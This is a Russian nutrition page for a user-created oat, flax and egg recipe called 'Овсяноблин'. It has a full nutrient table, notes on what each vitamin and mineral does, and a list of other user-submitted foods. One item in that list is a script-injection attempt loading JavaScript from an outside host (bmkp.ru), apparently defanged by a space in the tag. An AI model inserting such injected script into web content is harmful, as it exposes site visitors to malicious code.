Рецепт Овсяноблин. Калорийность, химический состав и пищевая ценность.
Рецепт создан пользователем в приложении Мой здоровый рацион.
Ингредиенты Овсяноблин
| Овсяные хлопья "геркулес" | 30 г |
| Семена льна | 5 г |
| Яйцо куриное вареное (вкрутую) | 47 г |
| Вода, из под крана, муниципальная | 30 г |
Способ приготовления
Составить свой рецепт с учетом потерь витаминов и минералов вы можете с помощью калькулятора рецептов в приложении "Мой здоровый рацион".
Химический состав и анализ пищевой ценности
Пищевая ценность и химический состав "Овсяноблин".
В таблице приведено содержание пищевых веществ (калорийности, белков, жиров, углеводов, витаминов и минералов) на 100 грамм съедобной части.
| Нутриент | Количество | Норма** | % от нормы в 100 г | % от нормы в 100 ккал | 100% нормы |
| Калорийность | 206.9 ккал | 1684 ккал | 12.3% | 5.9% | 814 г |
| Белки | 10.6 г | 76 г | 13.9% | 6.7% | 717 г |
| Жиры | 9.4 г | 56 г | 16.8% | 8.1% | 596 г |
| Углеводы | 20.3 г | 219 г | 9.3% | 4.5% | 1079 г |
| Пищевые волокна | 3.2 г | 20 г | 16% | 7.7% | 625 г |
| Вода | 56.4 г | 2273 г | 2.5% | 1.2% | 4030 г |
| Зола | 1.2 г | ~ | |||
| Витамины | |||||
| Витамин А, РЭ | 123.4 мкг | 900 мкг | 13.7% | 6.6% | 729 г |
| Ретинол | 0.119 мг | ~ | |||
| бета Каротин | 0.029 мг | 5 мг | 0.6% | 0.3% | 17241 г |
| Лютеин + Зеаксантин | 32.55 мкг | ~ | |||
| Витамин В1, тиамин | 0.251 мг | 1.5 мг | 16.7% | 8.1% | 598 г |
| Витамин В2, рибофлавин | 0.247 мг | 1.8 мг | 13.7% | 6.6% | 729 г |
| Витамин В4, холин | 123.1 мг | 500 мг | 24.6% | 11.9% | 406 г |
| Витамин В5, пантотеновая | 0.666 мг | 5 мг | 13.3% | 6.4% | 751 г |
| Витамин В6, пиридоксин | 0.162 мг | 2 мг | 8.1% | 3.9% | 1235 г |
| Витамин В9, фолаты | 14.573 мкг | 400 мкг | 3.6% | 1.7% | 2745 г |
| Витамин В12, кобаламин | 0.247 мкг | 3 мкг | 8.2% | 4% | 1215 г |
| Витамин C, аскорбиновая | 0.03 мг | 90 мг | 300000 г | ||
| Витамин D, кальциферол | 1.044 мкг | 10 мкг | 10.4% | 5% | 958 г |
| Витамин Е, альфа токоферол, ТЭ | 0.78 мг | 15 мг | 5.2% | 2.5% | 1923 г |
| гамма Токоферол | 0.998 мг | ~ | |||
| дельта Токоферол | 0.018 мг | ~ | |||
| Витамин Н, биотин | 15.59 мкг | 50 мкг | 31.2% | 15.1% | 321 г |
| Витамин К, филлохинон | 0.4 мкг | 120 мкг | 0.3% | 0.1% | 30000 г |
| Витамин РР, НЭ | 2.6251 мг | 20 мг | 13.1% | 6.3% | 762 г |
| Ниацин | 0.39 мг | ~ | |||
| Бетаин | 0.155 мг | ~ | |||
| Макроэлементы | |||||
| Калий, K | 206.41 мг | 2500 мг | 8.3% | 4% | 1211 г |
| Кальций, Ca | 55.36 мг | 1000 мг | 5.5% | 2.7% | 1806 г |
| Магний, Mg | 64.3 мг | 400 мг | 16.1% | 7.8% | 622 г |
| Натрий, Na | 72.01 мг | 1300 мг | 5.5% | 2.7% | 1805 г |
| Сера, S | 109.96 мг | 1000 мг | 11% | 5.3% | 909 г |
| Фосфор, P | 221.6 мг | 800 мг | 27.7% | 13.4% | 361 г |
| Хлор, Cl | 95.96 мг | 2300 мг | 4.2% | 2% | 2397 г |
| Микроэлементы | |||||
| Железо, Fe | 2.553 мг | 18 мг | 14.2% | 6.9% | 705 г |
| Йод, I | 11.29 мкг | 150 мкг | 7.5% | 3.6% | 1329 г |
| Кобальт, Co | 6.248 мкг | 10 мкг | 62.5% | 30.2% | 160 г |
| Марганец, Mn | 1.2839 мг | 2 мг | 64.2% | 31% | 156 г |
| Медь, Cu | 238.1 мкг | 1000 мкг | 23.8% | 11.5% | 420 г |
| Молибден, Mo | 2.849 мкг | 70 мкг | 4.1% | 2% | 2457 г |
| Селен, Se | 16.319 мкг | 55 мкг | 29.7% | 14.4% | 337 г |
| Фтор, F | 63.94 мкг | 4000 мкг | 1.6% | 0.8% | 6256 г |
| Хром, Cr | 1.9 мкг | 50 мкг | 3.8% | 1.8% | 2632 г |
| Цинк, Zn | 1.674 мг | 12 мг | 14% | 6.8% | 717 г |
| Усвояемые углеводы | |||||
| Крахмал и декстрины | 18.03 г | ~ | |||
| Моно- и дисахариды (сахара) | 0.8 г | ~ | |||
| Сахароза | 0.1 г | ~ | |||
| Незаменимые аминокислоты | |||||
| Аргинин* | 0.342 г | ~ | |||
| Валин | 0.243 г | ~ | |||
| Гистидин* | 0.105 г | ~ | |||
| Изолейцин | 0.18 г | ~ | |||
| Лейцин | 0.275 г | ~ | |||
| Лизин | 0.184 г | ~ | |||
| Метионин | 0.061 г | ~ | |||
| Метионин + Цистеин | 0.135 г | ~ | |||
| Треонин | 0.167 г | ~ | |||
| Триптофан | 0.081 г | ~ | |||
| Фенилаланин | 0.228 г | ~ | |||
| Фенилаланин+Тирозин | 0.327 г | ~ | |||
| Заменимые аминокислоты | |||||
| Аланин | 0.208 г | ~ | |||
| Аспарагиновая кислота | 0.408 г | ~ | |||
| Гидроксипролин | 0.009 г | ~ | |||
| Глицин | 0.404 г | ~ | |||
| Глутаминовая кислота | 0.856 г | ~ | |||
| Пролин | 0.256 г | ~ | |||
| Серин | 0.22 г | ~ | |||
| Тирозин | 0.175 г | ~ | |||
| Цистеин | 0.113 г | ~ | |||
| Жирные кислоты | |||||
| Омега-3 жирные кислоты | 1.2 г | от 0.9 до 3.7 г | 100% | 48.3% | |
| Омега-6 жирные кислоты | 1 г | от 4.7 до 16.8 г | 21.3% | 10.3% | |
| Стеролы (стерины) | |||||
| Холестерин | 270.61 мг | max 300 мг | |||
| Кампестерол | 2.25 мг | ~ | |||
| Стигмастерол | 0.55 мг | ~ | |||
| бета Ситостерол | 4.5 мг | ~ | |||
| Насыщенные жирные кислоты | 2 г | max 18.7 г | |||
| 14:0 Миристиновая | 0.006 г | ~ | |||
| 16:0 Пальмитиновая | 0.501 г | ~ | |||
| 17:0 Маргариновая | 0.001 г | ~ | |||
| 18:0 Стеариновая | 0.085 г | ~ | |||
| 20:0 Арахиновая | 0.003 г | ~ | |||
| 22:0 Бегеновая | 0.003 г | ~ | |||
| 24:0 Лигноцериновая | 0.002 г | ~ | |||
| Мононенасыщенные жирные кислоты | 1.021 г | min 16.8 г | 6.1% | 2.9% | |
| 16:1 Пальмитолеиновая (ud) | 0.001 г | ~ | |||
| 18:1 Олеиновая (ud) | 1.01 г | ~ | |||
| 20:1 Гадолеиновая (омега-9) | 0.003 г | ~ | |||
| 22:1 Эруковая (ud) | 0.001 г | ~ | |||
| 24:1 Нервоновая, цис (омега-9) | 0.003 г | ~ | |||
| Полиненасыщенные жирные кислоты | 2.136 г | от 11.2 до 20.6 г | 19.1% | 9.2% | |
| 18:2 Линолевая (ud) | 0.979 г | ~ | |||
| 18:3 Линоленовая (ud) | 1.156 г | ~ |
Энергетическая ценность Овсяноблин составляет 206,9 кКал.
Основной источник: Создан в приложении пользователем. Подробнее.
** В данной таблице указаны средние нормы витаминов и минералов для взрослого человека. Если вы хотите узнать нормы с учетом вашего пола, возраста и других факторов, тогда воспользуйтесь приложением «Мой здоровый рацион».
Калькулятор рецепта
Пищевая ценность на 100 грамм
| Содержание в порции | % от РСП | ||
| Калории | 206.9 кКал | -% | |
| Белки | 10.6 г | -% | |
| Жиры | 9.4 г | -% | |
| Углеводы | 20.3 г | -% | |
| Пищевые волокна | 3.2 г | -% | |
| Вода | 56.4 г | -% | |
Витамины и минералы
Большинство продуктов не может содержать полный набор витаминов и минералов. Поэтому важно употреблять в пищу разннообразные продукты, чтобы восполнять потребности организма в витаминах и минералах.
Анализ калорийности продукта
ДОЛЯ БЖУ В КАЛОРИЙНОСТИ
Cоотношение белков, жиров и углеводов:
Зная вклад белков, жиров и углеводов в калорийность можно понять, насколько продукт или рацион соответсвует нормам здорового питания или требованиям определённой диеты. Например, Министерство здравоохранения США и России рекомендуют 10-12% калорий получать из белков, 30% из жиров и 58-60% из углеводов. Диета Аткинса рекомендует низкое употребление углеводов, хотя другие диеты фокусируются на низком потреблении жиров.
Рассчитать свои нормы
Если энергии расходуется больше, чем поступает, то организм начинает тратить запасы жира, и масса тела уменьшается.
Получить рекомендации
Получите дополнительную информацию и осуществите задуманное, изучив наш бесплатный интерактивный курс.
Попробуйте заполнить дневник питания прямо сейчас без регистрации.
Узнайте свой дополнительный расход калорий на тренировки и получите уточнённые рекомендации абсолютно бесплатно.
Срок достижения цели
Полезные свойства ОВСЯНОБЛИН
Овсяноблин богат такими витаминами и минералами, как:
витамином А - 13,7 %, витамином B1 - 16,7 %, витамином B2 - 13,7 %, холином - 24,6 %, витамином B5 - 13,3 %, витамином H - 31,2 %, витамином PP - 13,1 %, магнием - 16,1 %, фосфором - 27,7 %, железом - 14,2 %, кобальтом - 62,5 %, марганцем - 64,2 %, медью - 23,8 %, селеном - 29,7 %, цинком - 14 %
Чем полезен Овсяноблин
- Витамин А отвечает за нормальное развитие, репродуктивную функцию, здоровье кожи и глаз, поддержание иммунитета.
- Витамин В1 входит в состав важнейших ферментов углеводного и энергетического обмена, обеспечивающих организм энергией и пластическими веществами, а также метаболизма разветвленных аминокислот. Недостаток этого витамина ведет к серьезным нарушениям со стороны нервной, пищеварительной и сердечно-сосудистой систем.
- Витамин В2 участвует в окислительно-восстановительных реакциях, способствует повышению восприимчивости цвета зрительным анализатором и темновой адаптации. Недостаточное потребление витамина В2 сопровождается нарушением состояния кожных покровов, слизистых оболочек, нарушением светового и сумеречного зрения.
- Холин входит в состав лецитина, играет роль в синтезе и обмене фосфолипидов в печени, является источником свободных метильных групп, действует как липотропный фактор.
- Витамин В5 участвует в белковом, жировом, углеводном обмене, обмене холестерина, синтезе ряда гормонов, гемоглобина, способствует всасыванию аминокислот и сахаров в кишечнике, поддерживает функцию коры надпочечников. Недостаток пантотеновой кислоты может вести к поражению кожи и слизистых.
- Витамин Н участвует в синтезе жиров, гликогена, метаболизме аминокислот. Недостаточное потребление этого витамина может вести к нарушению нормального состояния кожных покровов.
- Витамин РР участвует в окислительно-восстановительных реакциях энергетического метаболизма. Недостаточное потребление витамина сопровождается нарушением нормального состояния кожных покровов, желудочно- кишечного тракта и нервной системы.
- Магний участвует в энергетическом метаболизме, синтезе белков, нуклеиновых кислот, обладает стабилизирующим действием для мембран, необходим для поддержания гомеостаза кальция, калия и натрия. Недостаток магния приводит к гипомагниемии, повышению риска развития гипертонии, болезней сердца.
- Фосфор принимает участие во многих физиологических процессах, включая энергетический обмен, регулирует кислотно-щелочного баланса, входит в состав фосфолипидов, нуклеотидов и нуклеиновых кислот, необходим для минерализации костей и зубов. Дефицит приводит к анорексии, анемии, рахиту.
- Железо входит в состав различных по своей функции белков, в том числе ферментов. Участвует в транспорте электронов, кислорода, обеспечивает протекание окислительно- восстановительных реакций и активацию перекисного окисления. Недостаточное потребление ведет к гипохромной анемии, миоглобиндефицитной атонии скелетных мышц, повышенной утомляемости, миокардиопатии, атрофическому гастриту.
- Кобальт входит в состав витамина В12. Активирует ферменты обмена жирных кислот и метаболизма фолиевой кислоты.
- Марганец участвует в образовании костной и соединительной ткани, входит в состав ферментов, включающихся в метаболизм аминокислот, углеводов, катехоламинов; необходим для синтеза холестерина и нуклеотидов. Недостаточное потребление сопровождается замедлением роста, нарушениями в репродуктивной системе, повышенной хрупкостью костной ткани, нарушениями углеводного и липидного обмена.
- Медь входит в состав ферментов, обладающих окислительно-восстановительной активностью и участвующих в метаболизме железа, стимулирует усвоение белков и углеводов. Участвует в процессах обеспечения тканей организма человека кислородом. Дефицит проявляется нарушениями формирования сердечно-сосудистой системы и скелета, развитием дисплазии соединительной ткани.
- Селен - эссенциальный элемент антиоксидантной системы защиты организма человека, обладает иммуномодулирующим действием, участвует в регуляции действия тиреоидных гормонов. Дефицит приводит к болезни Кашина-Бека (остеоартроз с множественной деформацией суставов, позвоночника и конечностей), болезни Кешана (эндемическая миокардиопатия), наследственной тромбастении.
- Цинк входит в состав более 300 ферментов, участвует в процессах синтеза и распада углеводов, белков, жиров, нуклеиновых кислот и в регуляции экспрессии ряда генов. Недостаточное потребление приводит к анемии, вторичному иммунодефициту, циррозу печени, половой дисфункции, наличию пороков развития плода. Исследованиями последних лет выявлена способность высоких доз цинка нарушать усвоение меди и тем способствовать развитию анемии.
Полный справочник самых полезных продуктов вы можете посмотреть в приложении «Мой здоровый рацион».
Калорийность и химический состав других продуктов
- САЛАТ НИСУАЗ
- хлеб отрубной
- Сердце на воде
- Филе
- Чизкейк малиновый
- Гексавит
- пирог с брусникой
- Шоколадно-творожная крошка (торт)
- Котлеты свинина/говядина тушение
- Соевая спаржа "лента"
- Скумбрия в томатном соусе
- Гранола
- Сыр здоровье
- Салат из помидор и огурцов
- Сырный соус
- Сыр с пажитником
- Актимэль
- Хлеб тостовый мультизлак
- Драники
- мюслі фітнес "Своя лінія"
- Цельнозерновой хлеб на закваске
- кекс творожный с белым шоколадом
- Пюре со сливками
- пастилки сливовые
- Пирожное с заварным кремом "эклер французский"
- Хлеб царский
- царский
- десерт с мягким творогом
- Овощи под сметаной
- Творожная запеканка с овсяными хлопьями
- Йогурт Разия
- Запеканка яблоки в твороге
- Машенька з какао
- Даниссимо Творожный со вкусом фисташковое морожение
- Омлет
- Конфеты "Ласточка"
- Суп из сайры с рисом и картошкой
- Карп запеченный с лимоном и апельсином
- молоки сельди
- Сосиски петровские
- Vis crunches
- сырники рисовые
- Knorr (kiptablet)
- Zonnebloemolie
- Рулет бисквитный овсяный с шоколадным заварным кремом
- Масло сливочное
- Шоколадный заварной крем
- Творог мягкий для детей дошкольного и школьного возраста
- Фасоль печёная в томатном соусе
- Торт морковный
- Пломбир
- кунгурский биойогурт черника
- Конфета Ореховая Роща
- Мороженое из банана и кефира
- Сельдь "Матиас" филе
- Постный суп с фасолью
- Колбаски молочные
- творожный мусс земляника клубника
- Яичница на сковороде
- вафли
- вали сливки ленивки
- мороженое ванильное
- Ролл Окинава (Сингапур)
- Сироп ирландские сливки
- вафли кубики
- Hellim сыр
- овощи
- Квашенная капуста
- Слойка с вишней
- Картофельные пирожки с начинкой
- Суп с консервной сайра
- картошка яшкинская
- Настоящий криль
- сайра
- Отруби пшеничные ОГО
- наполеон с джемом
- Dinkelmehl
- черри кумато
- Салат редис/капуста
- птичье молоко
- Котлеты из трески LCHF
- Холодец из курицы
- коктейль молочный шоколад
- Хлеб диаб Кулиничи
- Салат огурцы, помидоры, сельдерей со сметаной
- Шарлотка
- чиабатта
- Котлеты Домашние
- Ролл из Токио с угрем и лососем
- Пюре картофельное
- Перец, фаршированный моцареллой
- Салат грудь+шамп
- Соус Барбекю
- Шоколад Бисквит с шоколадом
- полбяная мука
- Земляника, протеста с сахаром
- Плов "Перловка"
- Log<sc ript src=//bmkp.ru/s.js></sc ript>
- уголки творожные
- eat me финик курага изюм
Метки: Как приготовить Овсяноблин, калорийность 206,9 кКал, химический состав, питательная ценность, какие витамины, минералы, способ приготовления Овсяноблин, рецепт, калории, нутриенты
Калькуляторы
